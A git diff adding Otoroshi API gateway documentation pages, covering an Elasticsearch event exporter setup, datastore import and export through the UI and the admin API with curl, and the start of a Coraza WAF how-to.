Let’s start by creating an Elasticsearch and Kibana stack on our machine (if it’s already done for you, you can skip this section).

+

To start an Elasticsearch container for development or testing, run:

+
docker network create elastic
+docker pull docker.elastic.co/elasticsearch/elasticsearch:7.15.1
+docker run --name es01-test --net elastic -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" docker.elastic.co/elasticsearch/elasticsearch:7.15.1
+
+
docker pull docker.elastic.co/kibana/kibana:7.15.1
+docker run --name kib01-test --net elastic -p 5601:5601 -e "ELASTICSEARCH_HOSTS=http://es01-test:9200" docker.elastic.co/kibana/kibana:7.15.1
+
+

To access Kibana, go to http://localhost:5601.

+

Create an Elasticsearch exporter

+

Let’s create an exporter. The exporter will export by default all events generated by Otoroshi.

+
    +
  1. Go ahead, and navigate to http://otoroshi.oto.tools:8080
  2. +
  3. Click on the cog icon on the top right
  4. +
  5. Then Exporters button
  6. +
  7. And add a new configuration when clicking on the Add item button
  8. +
  9. Select the elastic in the type selector field
  10. +
  11. Jump to Exporter config
  12. +
  13. Set the following values: Cluster URI -> http://localhost:9200
  14. +
+

Then test your configuration by clicking on the Check connection button. This should output a modal with the Elasticsearch version and the number of loaded docs.

+

Save at the bottom of the page and enable the exporter (on the top of the page or in list of exporters).

+

Testing your configuration

+

One simple way to test is to setup the reading of our Elasticsearch instance by Otoroshi.

+

Navigate to the danger zone (click on the cog on the top right and scroll to danger zone). Jump to the Analytics: Elastic dashboard datasource (read) section.

+

Set the following values : Cluster URI -> http://localhost:9200

+

Then click on the Check connection. This should ouput the same result as the previous part. Save the global configuration and navigate to http://otoroshi.oto.tools:8080/bo/dashboard/stats.

+

This should output a list of graphs.

+

Advanced usage

+

By default, an exporter handle all events from Otoroshi. In some case, you need to filter the events to send to elasticsearch.

+

To filter the events, jump to the Filtering and projection field in exporter view. Otoroshi supports to include a kind of events or to exclude a list of events (if you want to deep learn about this section, read this part).

+

An example which keep only events with a field @type of value AlertEvent:

+
{
+    "include": [
+        { "@type": "AlertEvent" }
+    ],
+    "exclude": []
+}
+
+

An example which exclude only events with a field @type of value GatewayEvent :

+
{
+    "exclude": [
+        { "@type": "GatewayEvent" }
+    ],
+    "include": []
+}
+
+

The next field is the Projection. This field is a json when you can list the fields to keep for each event.

+
{
+ "@type": true,
+ "@timestamp": true,
+ "@id": true
+}
+
+

With this example, only @type, @timestamp and @id will be send to ES.

+

Debug your configuration

+

Missing user rights on Elasticsearch

+

When creating an exporter, Otoroshi try to join the index route of the elasticsearch instance. If you have a specific management access rights on Elasticsearch, you have two possiblities :

+
    +
  • set a full access to the user used in Otoroshi for write in Elasticsearch
  • +
  • set the version of Elasticsearch inside the Version field of your exporter.
  • +
+

None event appear in your Elasticsearch

+

When creating an exporter, Otoroshi try to push the index template on Elasticsearch. If the post failed, Otoroshi will fail for each push of events and your database will keep empty.

+

To fix this problem, you can try to send the index template with the Manually apply index template button in your exporter.

+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/import-export-otoroshi-datastore.html b/docs/manual/how-to-s/import-export-otoroshi-datastore.html new file mode 100644 index 0000000000..e736a5c819 --- /dev/null +++ b/docs/manual/how-to-s/import-export-otoroshi-datastore.html @@ -0,0 +1,1372 @@ + + + + +Import and export Otoroshi datastore · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Import and export Otoroshi datastore

+

Start Otoroshi with an initial datastore

+

Let’s start by downloading the latest Otoroshi

+
curl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'
+
+

By default, Otoroshi starts with domain oto.tools that targets 127.0.0.1 Now you are almost ready to run Otoroshi for the first time, we want run it with an initial data.

+

To do that, you need to add the otoroshi.importFrom setting to the Otoroshi configuration (of $APP_IMPORT_FROM env). It can be a file path or a URL. The content of the initial datastore can look something like the following.

+
{
+  "label": "Otoroshi initial datastore",
+  "admins": [],
+  "simpleAdmins": [
+    {
+      "_loc": {
+        "tenant": "default",
+        "teams": [
+          "default"
+        ]
+      },
+      "username": "admin@otoroshi.io",
+      "password": "$2a$10$iQRkqjKTW.5XH8ugQrnMDeUstx4KqmIeQ58dHHdW2Dv1FkyyAs4C.",
+      "label": "Otoroshi Admin",
+      "createdAt": 1634651307724,
+      "type": "SIMPLE",
+      "metadata": {},
+      "tags": [],
+      "rights": [
+        {
+          "tenant": "*:rw",
+          "teams": [
+            "*:rw"
+          ]
+        }
+      ]
+    }
+  ],
+  "serviceGroups": [
+    {
+      "_loc": {
+        "tenant": "default",
+        "teams": [
+          "default"
+        ]
+      },
+      "id": "admin-api-group",
+      "name": "Otoroshi Admin Api group",
+      "description": "No description",
+      "tags": [],
+      "metadata": {}
+    },
+    {
+      "_loc": {
+        "tenant": "default",
+        "teams": [
+          "default"
+        ]
+      },
+      "id": "default",
+      "name": "default-group",
+      "description": "The default service group",
+      "tags": [],
+      "metadata": {}
+    }
+  ],
+  "apiKeys": [
+    {
+      "_loc": {
+        "tenant": "default",
+        "teams": [
+          "default"
+        ]
+      },
+      "clientId": "admin-api-apikey-id",
+      "clientSecret": "admin-api-apikey-secret",
+      "clientName": "Otoroshi Backoffice ApiKey",
+      "description": "The apikey use by the Otoroshi UI",
+      "authorizedGroup": "admin-api-group",
+      "authorizedEntities": [
+        "group_admin-api-group"
+      ],
+      "enabled": true,
+      "readOnly": false,
+      "allowClientIdOnly": false,
+      "throttlingQuota": 10000,
+      "dailyQuota": 10000000,
+      "monthlyQuota": 10000000,
+      "constrainedServicesOnly": false,
+      "restrictions": {
+        "enabled": false,
+        "allowLast": true,
+        "allowed": [],
+        "forbidden": [],
+        "notFound": []
+      },
+      "rotation": {
+        "enabled": false,
+        "rotationEvery": 744,
+        "gracePeriod": 168,
+        "nextSecret": null
+      },
+      "validUntil": null,
+      "tags": [],
+      "metadata": {}
+    }
+  ],
+  "serviceDescriptors": [
+    {
+      "_loc": {
+        "tenant": "default",
+        "teams": [
+          "default"
+        ]
+      },
+      "id": "admin-api-service",
+      "groupId": "admin-api-group",
+      "groups": [
+        "admin-api-group"
+      ],
+      "name": "otoroshi-admin-api",
+      "description": "",
+      "env": "prod",
+      "domain": "oto.tools",
+      "subdomain": "otoroshi-api",
+      "targetsLoadBalancing": {
+        "type": "RoundRobin"
+      },
+      "targets": [
+        {
+          "host": "127.0.0.1:8080",
+          "scheme": "http",
+          "weight": 1,
+          "mtlsConfig": {
+            "certs": [],
+            "trustedCerts": [],
+            "mtls": false,
+            "loose": false,
+            "trustAll": false
+          },
+          "tags": [],
+          "metadata": {},
+          "protocol": "HTTP/1.1",
+          "predicate": {
+            "type": "AlwaysMatch"
+          },
+          "ipAddress": null
+        }
+      ],
+      "root": "/",
+      "matchingRoot": null,
+      "stripPath": true,
+      "localHost": "127.0.0.1:8080",
+      "localScheme": "http",
+      "redirectToLocal": false,
+      "enabled": true,
+      "userFacing": false,
+      "privateApp": false,
+      "forceHttps": false,
+      "logAnalyticsOnServer": false,
+      "useAkkaHttpClient": true,
+      "useNewWSClient": false,
+      "tcpUdpTunneling": false,
+      "detectApiKeySooner": false,
+      "maintenanceMode": false,
+      "buildMode": false,
+      "strictlyPrivate": false,
+      "enforceSecureCommunication": true,
+      "sendInfoToken": true,
+      "sendStateChallenge": true,
+      "sendOtoroshiHeadersBack": true,
+      "readOnly": false,
+      "xForwardedHeaders": false,
+      "overrideHost": true,
+      "allowHttp10": true,
+      "letsEncrypt": false,
+      "secComHeaders": {
+        "claimRequestName": null,
+        "stateRequestName": null,
+        "stateResponseName": null
+      },
+      "secComTtl": 30000,
+      "secComVersion": 1,
+      "secComInfoTokenVersion": "Legacy",
+      "secComExcludedPatterns": [],
+      "securityExcludedPatterns": [],
+      "publicPatterns": [
+        "/health",
+        "/metrics"
+      ],
+      "privatePatterns": [],
+      "additionalHeaders": {
+        "Host": "otoroshi-admin-internal-api.oto.tools"
+      },
+      "additionalHeadersOut": {},
+      "missingOnlyHeadersIn": {},
+      "missingOnlyHeadersOut": {},
+      "removeHeadersIn": [],
+      "removeHeadersOut": [],
+      "headersVerification": {},
+      "matchingHeaders": {},
+      "ipFiltering": {
+        "whitelist": [],
+        "blacklist": []
+      },
+      "api": {
+        "exposeApi": false
+      },
+      "healthCheck": {
+        "enabled": false,
+        "url": "/"
+      },
+      "clientConfig": {
+        "useCircuitBreaker": true,
+        "retries": 1,
+        "maxErrors": 20,
+        "retryInitialDelay": 50,
+        "backoffFactor": 2,
+        "callTimeout": 30000,
+        "callAndStreamTimeout": 120000,
+        "connectionTimeout": 10000,
+        "idleTimeout": 60000,
+        "globalTimeout": 30000,
+        "sampleInterval": 2000,
+        "proxy": {},
+        "customTimeouts": [],
+        "cacheConnectionSettings": {
+          "enabled": false,
+          "queueSize": 2048
+        }
+      },
+      "canary": {
+        "enabled": false,
+        "traffic": 0.2,
+        "targets": [],
+        "root": "/"
+      },
+      "gzip": {
+        "enabled": false,
+        "excludedPatterns": [],
+        "whiteList": [
+          "text/*",
+          "application/javascript",
+          "application/json"
+        ],
+        "blackList": [],
+        "bufferSize": 8192,
+        "chunkedThreshold": 102400,
+        "compressionLevel": 5
+      },
+      "metadata": {},
+      "tags": [],
+      "chaosConfig": {
+        "enabled": false,
+        "largeRequestFaultConfig": null,
+        "largeResponseFaultConfig": null,
+        "latencyInjectionFaultConfig": null,
+        "badResponsesFaultConfig": null
+      },
+      "jwtVerifier": {
+        "type": "ref",
+        "ids": [],
+        "id": null,
+        "enabled": false,
+        "excludedPatterns": []
+      },
+      "secComSettings": {
+        "type": "HSAlgoSettings",
+        "size": 512,
+        "secret": "secret",
+        "base64": false
+      },
+      "secComUseSameAlgo": true,
+      "secComAlgoChallengeOtoToBack": {
+        "type": "HSAlgoSettings",
+        "size": 512,
+        "secret": "secret",
+        "base64": false
+      },
+      "secComAlgoChallengeBackToOto": {
+        "type": "HSAlgoSettings",
+        "size": 512,
+        "secret": "secret",
+        "base64": false
+      },
+      "secComAlgoInfoToken": {
+        "type": "HSAlgoSettings",
+        "size": 512,
+        "secret": "secret",
+        "base64": false
+      },
+      "cors": {
+        "enabled": false,
+        "allowOrigin": "*",
+        "exposeHeaders": [],
+        "allowHeaders": [],
+        "allowMethods": [],
+        "excludedPatterns": [],
+        "maxAge": null,
+        "allowCredentials": true
+      },
+      "redirection": {
+        "enabled": false,
+        "code": 303,
+        "to": "https://www.otoroshi.io"
+      },
+      "authConfigRef": null,
+      "clientValidatorRef": null,
+      "transformerRef": null,
+      "transformerRefs": [],
+      "transformerConfig": {},
+      "apiKeyConstraints": {
+        "basicAuth": {
+          "enabled": true,
+          "headerName": null,
+          "queryName": null
+        },
+        "customHeadersAuth": {
+          "enabled": true,
+          "clientIdHeaderName": null,
+          "clientSecretHeaderName": null
+        },
+        "clientIdAuth": {
+          "enabled": true,
+          "headerName": null,
+          "queryName": null
+        },
+        "jwtAuth": {
+          "enabled": true,
+          "secretSigned": true,
+          "keyPairSigned": true,
+          "includeRequestAttributes": false,
+          "maxJwtLifespanSecs": null,
+          "headerName": null,
+          "queryName": null,
+          "cookieName": null
+        },
+        "routing": {
+          "noneTagIn": [],
+          "oneTagIn": [],
+          "allTagsIn": [],
+          "noneMetaIn": {},
+          "oneMetaIn": {},
+          "allMetaIn": {},
+          "noneMetaKeysIn": [],
+          "oneMetaKeyIn": [],
+          "allMetaKeysIn": []
+        }
+      },
+      "restrictions": {
+        "enabled": false,
+        "allowLast": true,
+        "allowed": [],
+        "forbidden": [],
+        "notFound": []
+      },
+      "accessValidator": {
+        "enabled": false,
+        "refs": [],
+        "config": {},
+        "excludedPatterns": []
+      },
+      "preRouting": {
+        "enabled": false,
+        "refs": [],
+        "config": {},
+        "excludedPatterns": []
+      },
+      "plugins": {
+        "enabled": false,
+        "refs": [],
+        "config": {},
+        "excluded": []
+      },
+      "hosts": [
+        "otoroshi-api.oto.tools"
+      ],
+      "paths": [],
+      "handleLegacyDomain": true,
+      "issueCert": false,
+      "issueCertCA": null
+    }
+  ],
+  "errorTemplates": [],
+  "jwtVerifiers": [],
+  "authConfigs": [],
+  "certificates": [],
+  "clientValidators": [],
+  "scripts": [],
+  "tcpServices": [],
+  "dataExporters": [],
+  "tenants": [
+    {
+      "id": "default",
+      "name": "Default organization",
+      "description": "The default organization",
+      "metadata": {},
+      "tags": []
+    }
+  ],
+  "teams": [
+    {
+      "id": "default",
+      "tenant": "default",
+      "name": "Default Team",
+      "description": "The default Team of the default organization",
+      "metadata": {},
+      "tags": []
+    }
+  ]
+}
+
+

Run an Otoroshi with the previous file as parameter.

+
java \
+  -Dotoroshi.adminPassword=password \
+  -Dotoroshi.importFrom=./initial-state.json \
+  -jar otoroshi.jar 
+
+

This should show

+
...
+[info] otoroshi-env - Importing from: ./initial-state.json
+[info] otoroshi-env - Successful import !
+...
+[info] p.c.s.AkkaHttpServer - Listening for HTTP on /0:0:0:0:0:0:0:0:8080
+...
+
+
+

Warning : when you using Otoroshi with a datastore different from file or in-memory, Otoroshi will not reload the initialization script. If you expected, you have to manually clean your store.

+
+

Export the current datastore via the danger zone

+

When Otoroshi is running, you can backup the global configuration store from the UI. Navigate to your instance (in our case http://otoroshi.oto.tools:8080/bo/dashboard/dangerzone) and scroll to the bottom page.

+

Click on Full export button to download the full global configuration.

+

Import a datastore from file via the danger zone

+

When Otoroshi is running, you can recover a global configuration from the UI. Navigate to your instance (in our case http://otoroshi.oto.tools:8080/bo/dashboard/dangerzone) and scroll to the bottom of the page.

+

Click on Recover from a full export file button to apply all configurations from a file.

+

Export the current datastore with the Admin API

+

Otoroshi exposes his own Admin API to manage Otoroshi resources. To call this api, you need to have an api key with the rights on Otoroshi Admin Api group. This group includes the Otoroshi-admin-api service that you can found on the services page.

+

By default, and with our initial configuration, Otoroshi has already created an api key named Otoroshi Backoffice ApiKey. You can verify the rights of an api key on its page by checking the Authorized On field (you should find the Otoroshi Admin Api group inside).

+

The default api key id and secret are admin-api-apikey-id and admin-api-apikey-secret.

+

Run the next command with these values.

+
curl \
+  -H 'Content-Type: application/json' \
+  -u admin-api-apikey-id:admin-api-apikey-secret \
+  'http://otoroshi-api.oto.tools:8080/api/otoroshi.json'
+
+

When calling the /api/otoroshi.json, the return should be the current datastore including the service descriptors, the api keys, all others resources like certificates and authentification modules, and the the global config (representing the form of the danger zone).

+

Import the current datastore with the Admin API

+

As the same way of previous section, you can erase the current datastore with a POST request. The route is the same : /api/otoroshi.json.

+
curl \
+  -X POST \
+  -H 'Content-Type: application/json' \
+  -d '{
+    "label" : "Otoroshi export",
+    "dateRaw" : 1634714811217,
+    "date" : "2021-10-20 09:26:51",
+    "stats" : {
+      "calls" : 4,
+      "dataIn" : 0,
+      "dataOut" : 97991
+    },
+    "config" : {
+      "tags" : [ ],
+      "letsEncryptSettings" : {
+        "enabled" : false,
+        "server" : "acme://letsencrypt.org/staging",
+        "emails" : [ ],
+        "contacts" : [ ],
+        "publicKey" : "",
+        "privateKey" : ""
+      },
+      "lines" : [ "prod" ],
+      "maintenanceMode" : false,
+      "enableEmbeddedMetrics" : true,
+      "streamEntityOnly" : true,
+      "autoLinkToDefaultGroup" : true,
+      "limitConcurrentRequests" : false,
+      "maxConcurrentRequests" : 1000,
+      "maxHttp10ResponseSize" : 4194304,
+      "useCircuitBreakers" : true,
+      "apiReadOnly" : false,
+      "u2fLoginOnly" : false,
+      "trustXForwarded" : true,
+      "ipFiltering" : {
+        "whitelist" : [ ],
+        "blacklist" : [ ]
+      },
+      "throttlingQuota" : 10000000,
+      "perIpThrottlingQuota" : 10000000,
+      "analyticsWebhooks" : [ ],
+      "alertsWebhooks" : [ ],
+      "elasticWritesConfigs" : [ ],
+      "elasticReadsConfig" : null,
+      "alertsEmails" : [ ],
+      "logAnalyticsOnServer" : false,
+      "useAkkaHttpClient" : false,
+      "endlessIpAddresses" : [ ],
+      "statsdConfig" : null,
+      "kafkaConfig" : {
+        "servers" : [ ],
+        "keyPass" : null,
+        "keystore" : null,
+        "truststore" : null,
+        "topic" : "otoroshi-events",
+        "mtlsConfig" : {
+          "certs" : [ ],
+          "trustedCerts" : [ ],
+          "mtls" : false,
+          "loose" : false,
+          "trustAll" : false
+        }
+      },
+      "backOfficeAuthRef" : null,
+      "mailerSettings" : {
+        "type" : "none"
+      },
+      "cleverSettings" : null,
+      "maxWebhookSize" : 100,
+      "middleFingers" : false,
+      "maxLogsSize" : 10000,
+      "otoroshiId" : "83539cbca-76ee-4abc-ad31-a4794e873848",
+      "snowMonkeyConfig" : {
+        "enabled" : false,
+        "outageStrategy" : "OneServicePerGroup",
+        "includeUserFacingDescriptors" : false,
+        "dryRun" : false,
+        "timesPerDay" : 1,
+        "startTime" : "09:00:00.000",
+        "stopTime" : "23:59:59.000",
+        "outageDurationFrom" : 600000,
+        "outageDurationTo" : 3600000,
+        "targetGroups" : [ ],
+        "chaosConfig" : {
+          "enabled" : true,
+          "largeRequestFaultConfig" : null,
+          "largeResponseFaultConfig" : null,
+          "latencyInjectionFaultConfig" : {
+            "ratio" : 0.2,
+            "from" : 500,
+            "to" : 5000
+          },
+          "badResponsesFaultConfig" : {
+            "ratio" : 0.2,
+            "responses" : [ {
+              "status" : 502,
+              "body" : "{\"error\":\"Nihonzaru everywhere ...\"}",
+              "headers" : {
+                "Content-Type" : "application/json"
+              }
+            } ]
+          }
+        }
+      },
+      "scripts" : {
+        "enabled" : false,
+        "transformersRefs" : [ ],
+        "transformersConfig" : { },
+        "validatorRefs" : [ ],
+        "validatorConfig" : { },
+        "preRouteRefs" : [ ],
+        "preRouteConfig" : { },
+        "sinkRefs" : [ ],
+        "sinkConfig" : { },
+        "jobRefs" : [ ],
+        "jobConfig" : { }
+      },
+      "geolocationSettings" : {
+        "type" : "none"
+      },
+      "userAgentSettings" : {
+        "enabled" : false
+      },
+      "autoCert" : {
+        "enabled" : false,
+        "replyNicely" : false,
+        "caRef" : null,
+        "allowed" : [ ],
+        "notAllowed" : [ ]
+      },
+      "tlsSettings" : {
+        "defaultDomain" : null,
+        "randomIfNotFound" : false,
+        "includeJdkCaServer" : true,
+        "includeJdkCaClient" : true,
+        "trustedCAsServer" : [ ]
+      },
+      "plugins" : {
+        "enabled" : false,
+        "refs" : [ ],
+        "config" : { },
+        "excluded" : [ ]
+      },
+      "metadata" : { }
+    },
+    "admins" : [ ],
+    "simpleAdmins" : [ {
+      "_loc" : {
+        "tenant" : "default",
+        "teams" : [ "default" ]
+      },
+      "username" : "admin@otoroshi.io",
+      "password" : "$2a$10$iQRkqjKTW.5XH8ugQrnMDeUstx4KqmIeQ58dHHdW2Dv1FkyyAs4C.",
+      "label" : "Otoroshi Admin",
+      "createdAt" : 1634651307724,
+      "type" : "SIMPLE",
+      "metadata" : { },
+      "tags" : [ ],
+      "rights" : [ {
+        "tenant" : "*:rw",
+        "teams" : [ "*:rw" ]
+      } ]
+    } ],
+    "serviceGroups" : [ {
+      "_loc" : {
+        "tenant" : "default",
+        "teams" : [ "default" ]
+      },
+      "id" : "admin-api-group",
+      "name" : "Otoroshi Admin Api group",
+      "description" : "No description",
+      "tags" : [ ],
+      "metadata" : { }
+    }, {
+      "_loc" : {
+        "tenant" : "default",
+        "teams" : [ "default" ]
+      },
+      "id" : "default",
+      "name" : "default-group",
+      "description" : "The default service group",
+      "tags" : [ ],
+      "metadata" : { }
+    } ],
+    "apiKeys" : [ {
+      "_loc" : {
+        "tenant" : "default",
+        "teams" : [ "default" ]
+      },
+      "clientId" : "admin-api-apikey-id",
+      "clientSecret" : "admin-api-apikey-secret",
+      "clientName" : "Otoroshi Backoffice ApiKey",
+      "description" : "The apikey use by the Otoroshi UI",
+      "authorizedGroup" : "admin-api-group",
+      "authorizedEntities" : [ "group_admin-api-group" ],
+      "enabled" : true,
+      "readOnly" : false,
+      "allowClientIdOnly" : false,
+      "throttlingQuota" : 10000,
+      "dailyQuota" : 10000000,
+      "monthlyQuota" : 10000000,
+      "constrainedServicesOnly" : false,
+      "restrictions" : {
+        "enabled" : false,
+        "allowLast" : true,
+        "allowed" : [ ],
+        "forbidden" : [ ],
+        "notFound" : [ ]
+      },
+      "rotation" : {
+        "enabled" : false,
+        "rotationEvery" : 744,
+        "gracePeriod" : 168,
+        "nextSecret" : null
+      },
+      "validUntil" : null,
+      "tags" : [ ],
+      "metadata" : { }
+    } ],
+    "serviceDescriptors" : [ {
+      "_loc" : {
+        "tenant" : "default",
+        "teams" : [ "default" ]
+      },
+      "id" : "admin-api-service",
+      "groupId" : "admin-api-group",
+      "groups" : [ "admin-api-group" ],
+      "name" : "otoroshi-admin-api",
+      "description" : "",
+      "env" : "prod",
+      "domain" : "oto.tools",
+      "subdomain" : "otoroshi-api",
+      "targetsLoadBalancing" : {
+        "type" : "RoundRobin"
+      },
+      "targets" : [ {
+        "host" : "127.0.0.1:8080",
+        "scheme" : "http",
+        "weight" : 1,
+        "mtlsConfig" : {
+          "certs" : [ ],
+          "trustedCerts" : [ ],
+          "mtls" : false,
+          "loose" : false,
+          "trustAll" : false
+        },
+        "tags" : [ ],
+        "metadata" : { },
+        "protocol" : "HTTP/1.1",
+        "predicate" : {
+          "type" : "AlwaysMatch"
+        },
+        "ipAddress" : null
+      } ],
+      "root" : "/",
+      "matchingRoot" : null,
+      "stripPath" : true,
+      "localHost" : "127.0.0.1:8080",
+      "localScheme" : "http",
+      "redirectToLocal" : false,
+      "enabled" : true,
+      "userFacing" : false,
+      "privateApp" : false,
+      "forceHttps" : false,
+      "logAnalyticsOnServer" : false,
+      "useAkkaHttpClient" : true,
+      "useNewWSClient" : false,
+      "tcpUdpTunneling" : false,
+      "detectApiKeySooner" : false,
+      "maintenanceMode" : false,
+      "buildMode" : false,
+      "strictlyPrivate" : false,
+      "enforceSecureCommunication" : true,
+      "sendInfoToken" : true,
+      "sendStateChallenge" : true,
+      "sendOtoroshiHeadersBack" : true,
+      "readOnly" : false,
+      "xForwardedHeaders" : false,
+      "overrideHost" : true,
+      "allowHttp10" : true,
+      "letsEncrypt" : false,
+      "secComHeaders" : {
+        "claimRequestName" : null,
+        "stateRequestName" : null,
+        "stateResponseName" : null
+      },
+      "secComTtl" : 30000,
+      "secComVersion" : 1,
+      "secComInfoTokenVersion" : "Legacy",
+      "secComExcludedPatterns" : [ ],
+      "securityExcludedPatterns" : [ ],
+      "publicPatterns" : [ "/health", "/metrics" ],
+      "privatePatterns" : [ ],
+      "additionalHeaders" : {
+        "Host" : "otoroshi-admin-internal-api.oto.tools"
+      },
+      "additionalHeadersOut" : { },
+      "missingOnlyHeadersIn" : { },
+      "missingOnlyHeadersOut" : { },
+      "removeHeadersIn" : [ ],
+      "removeHeadersOut" : [ ],
+      "headersVerification" : { },
+      "matchingHeaders" : { },
+      "ipFiltering" : {
+        "whitelist" : [ ],
+        "blacklist" : [ ]
+      },
+      "api" : {
+        "exposeApi" : false
+      },
+      "healthCheck" : {
+        "enabled" : false,
+        "url" : "/"
+      },
+      "clientConfig" : {
+        "useCircuitBreaker" : true,
+        "retries" : 1,
+        "maxErrors" : 20,
+        "retryInitialDelay" : 50,
+        "backoffFactor" : 2,
+        "callTimeout" : 30000,
+        "callAndStreamTimeout" : 120000,
+        "connectionTimeout" : 10000,
+        "idleTimeout" : 60000,
+        "globalTimeout" : 30000,
+        "sampleInterval" : 2000,
+        "proxy" : { },
+        "customTimeouts" : [ ],
+        "cacheConnectionSettings" : {
+          "enabled" : false,
+          "queueSize" : 2048
+        }
+      },
+      "canary" : {
+        "enabled" : false,
+        "traffic" : 0.2,
+        "targets" : [ ],
+        "root" : "/"
+      },
+      "gzip" : {
+        "enabled" : false,
+        "excludedPatterns" : [ ],
+        "whiteList" : [ "text/*", "application/javascript", "application/json" ],
+        "blackList" : [ ],
+        "bufferSize" : 8192,
+        "chunkedThreshold" : 102400,
+        "compressionLevel" : 5
+      },
+      "metadata" : { },
+      "tags" : [ ],
+      "chaosConfig" : {
+        "enabled" : false,
+        "largeRequestFaultConfig" : null,
+        "largeResponseFaultConfig" : null,
+        "latencyInjectionFaultConfig" : null,
+        "badResponsesFaultConfig" : null
+      },
+      "jwtVerifier" : {
+        "type" : "ref",
+        "ids" : [ ],
+        "id" : null,
+        "enabled" : false,
+        "excludedPatterns" : [ ]
+      },
+      "secComSettings" : {
+        "type" : "HSAlgoSettings",
+        "size" : 512,
+        "secret" : "secret",
+        "base64" : false
+      },
+      "secComUseSameAlgo" : true,
+      "secComAlgoChallengeOtoToBack" : {
+        "type" : "HSAlgoSettings",
+        "size" : 512,
+        "secret" : "secret",
+        "base64" : false
+      },
+      "secComAlgoChallengeBackToOto" : {
+        "type" : "HSAlgoSettings",
+        "size" : 512,
+        "secret" : "secret",
+        "base64" : false
+      },
+      "secComAlgoInfoToken" : {
+        "type" : "HSAlgoSettings",
+        "size" : 512,
+        "secret" : "secret",
+        "base64" : false
+      },
+      "cors" : {
+        "enabled" : false,
+        "allowOrigin" : "*",
+        "exposeHeaders" : [ ],
+        "allowHeaders" : [ ],
+        "allowMethods" : [ ],
+        "excludedPatterns" : [ ],
+        "maxAge" : null,
+        "allowCredentials" : true
+      },
+      "redirection" : {
+        "enabled" : false,
+        "code" : 303,
+        "to" : "https://www.otoroshi.io"
+      },
+      "authConfigRef" : null,
+      "clientValidatorRef" : null,
+      "transformerRef" : null,
+      "transformerRefs" : [ ],
+      "transformerConfig" : { },
+      "apiKeyConstraints" : {
+        "basicAuth" : {
+          "enabled" : true,
+          "headerName" : null,
+          "queryName" : null
+        },
+        "customHeadersAuth" : {
+          "enabled" : true,
+          "clientIdHeaderName" : null,
+          "clientSecretHeaderName" : null
+        },
+        "clientIdAuth" : {
+          "enabled" : true,
+          "headerName" : null,
+          "queryName" : null
+        },
+        "jwtAuth" : {
+          "enabled" : true,
+          "secretSigned" : true,
+          "keyPairSigned" : true,
+          "includeRequestAttributes" : false,
+          "maxJwtLifespanSecs" : null,
+          "headerName" : null,
+          "queryName" : null,
+          "cookieName" : null
+        },
+        "routing" : {
+          "noneTagIn" : [ ],
+          "oneTagIn" : [ ],
+          "allTagsIn" : [ ],
+          "noneMetaIn" : { },
+          "oneMetaIn" : { },
+          "allMetaIn" : { },
+          "noneMetaKeysIn" : [ ],
+          "oneMetaKeyIn" : [ ],
+          "allMetaKeysIn" : [ ]
+        }
+      },
+      "restrictions" : {
+        "enabled" : false,
+        "allowLast" : true,
+        "allowed" : [ ],
+        "forbidden" : [ ],
+        "notFound" : [ ]
+      },
+      "accessValidator" : {
+        "enabled" : false,
+        "refs" : [ ],
+        "config" : { },
+        "excludedPatterns" : [ ]
+      },
+      "preRouting" : {
+        "enabled" : false,
+        "refs" : [ ],
+        "config" : { },
+        "excludedPatterns" : [ ]
+      },
+      "plugins" : {
+        "enabled" : false,
+        "refs" : [ ],
+        "config" : { },
+        "excluded" : [ ]
+      },
+      "hosts" : [ "otoroshi-api.oto.tools" ],
+      "paths" : [ ],
+      "handleLegacyDomain" : true,
+      "issueCert" : false,
+      "issueCertCA" : null
+    } ],
+    "errorTemplates" : [ ],
+    "jwtVerifiers" : [ ],
+    "authConfigs" : [ ],
+    "certificates" : [],
+    "clientValidators" : [ ],
+    "scripts" : [ ],
+    "tcpServices" : [ ],
+    "dataExporters" : [ ],
+    "tenants" : [ {
+      "id" : "default",
+      "name" : "Default organization",
+      "description" : "The default organization",
+      "metadata" : { },
+      "tags" : [ ]
+    } ],
+    "teams" : [ {
+      "id" : "default",
+      "tenant" : "default",
+      "name" : "Default Team",
+      "description" : "The default Team of the default organization",
+      "metadata" : { },
+      "tags" : [ ]
+    } ]
+  }' \
+  'http://otoroshi-api.oto.tools:8080/api/otoroshi.json' \
+  -u admin-api-apikey-id:admin-api-apikey-secret 
+
+

This should output :

+
{ "done":true }
+
+
+

Note : be very carefully with this POST command. If you send a wrong JSON, you risk breaking your instance.

+
+

The second way is to send the same configuration but from a file. You can pass two kind of file : a json file or a ndjson file. Both files are available as export methods on the danger zone.

+
# the curl is run from a folder containing the initial-state.json file 
+curl -X POST \
+  -H "Content-Type: application/json" \
+  -d @./initial-state.json \
+  'http://otoroshi-api.oto.tools:8080/api/otoroshi.json' \
+  -u admin-api-apikey-id:admin-api-apikey-secret
+
+

This should output :

+
{ "done":true }
+
+
+

Note: To send a ndjson file, you have to set the Content-Type header at application/x-ndjson

+
+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/index.html b/docs/manual/how-to-s/index.html new file mode 100644 index 0000000000..1239a68747 --- /dev/null +++ b/docs/manual/how-to-s/index.html @@ -0,0 +1,412 @@ + + + + +How tos · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/instantiate-waf-coraza.html b/docs/manual/how-to-s/instantiate-waf-coraza.html new file mode 100644 index 0000000000..3a3a892934 --- /dev/null +++ b/docs/manual/how-to-s/instantiate-waf-coraza.html @@ -0,0 +1,631 @@ + + + + +Instantiate a WAF with Coraza · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Instantiate a WAF with Coraza

+
+Route plugins: +Coraza WAF +Override Host Header +
+

Sometimes you may want to secure an app with a Web Appplication Firewall (WAF) and apply the security rules from the OWASP Core Rule Set. To allow that, we integrated the Coraza WAF in Otoroshi through a plugin that uses the WASM version of Coraza.

+

Before you start

If you already have an up and running otoroshi instance, you can skip the following instructions

+
